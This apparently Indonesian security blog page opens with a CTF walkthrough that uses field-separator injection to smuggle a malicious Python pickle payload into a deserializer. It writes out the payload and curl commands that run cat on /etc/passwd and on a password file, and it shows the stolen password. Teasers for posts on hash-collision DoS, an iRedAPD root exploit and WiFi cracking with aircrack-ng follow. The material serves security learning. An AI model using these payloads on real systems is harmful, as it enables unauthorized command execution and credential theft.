Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb."
TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <--

Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user ("testdata") tidak ikut diload oleh pickle karena bukan bagian dari field job.

Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:

cos
system
(S'cat /etc/passwd'
tR.

String di atas bila diload oleh pickle akan mengeksekusi command "cat /etc/passwd".

Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?

Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ';'. Bagaimana bila kita memasukkan input string yang mengandung karakter ';' seperti ini:

curl localhost:9020 -d 'inidata; job: inijob'

Berikut adalah log yang terlihat:

Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb."
TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--

Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ';' dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string 'inijob' menjadi bagian dari field job.

Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.

$ cat payload.pkl
cos
system
(S'cat /home/level06/.password > /tmp/levelsixx'
tR.
$ curl localhost:9020 -d "hajar; job: `cat payload.pkl`"
{
    "result": "Job timed out"
}
$ cat /tmp/levelsixx
SF2w8qU1QDj

Memahami Serangan Hash table Collision Denial of Service

Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.

Sebagai tulisan pembuka di tahun 2012, saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.

Continue reading

Pre-conference Challenge #3 OWASP AppsecUSA 2011 – Walkthrough

Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011.

Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini:

Kita dihadapkan pada form yang meminta kita memasukkan username dan PIN. Jadi challenge  kita adalah menemukan username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi. Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6 digit.

Continue reading

iRedAPD root exploit [with video]

iRedAPD adalah salah satu komponen dari iRedMail yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di sini. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.

Continue reading

[Videos] Applying WiFu Cheat Sheet

Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK.

Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh untuk menyederhanakan video. Informasi MAC address access point dan MAC address client bisa didapatkan dengan menjalankan “airodump-ng wlan0” , sedangkan informasi MAC address komputer sendiri bisa didapatkan dengan menjalankan “macchanger -s wlan0”.

Clientless WEP

Continue reading

WiFu Cheat Sheet

Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.

Pre-requisite:

  • Backtrack, nggak harus tapi very recommended
  • Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini HCL: Wireless.

Cheat sheet ini mengcover sebagian besar kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang bisa dihack dengan mengikuti cheat sheet ini adalah:

  • WEP open authentication dengan client atau tanpa client (clientless WLAN)
  • WEP shared key authentication (minimal harus ada 1 client)
  • WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)

Hampir semua jaringan wireless yang ada sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan dictionary attack, jadi sangat tergantung daftar password yang dimiliki. Dalam cheat sheet saya juga menyertakan cara menggunakan john the ripper untuk generate password list atau melakukan modifikasi daftar password dasar menjadi kata baru berdasarkan aturan tertentu.

Oke, selanjutnya langsung saja download cheat sheetnya: WiFu Cheat Sheet 1.0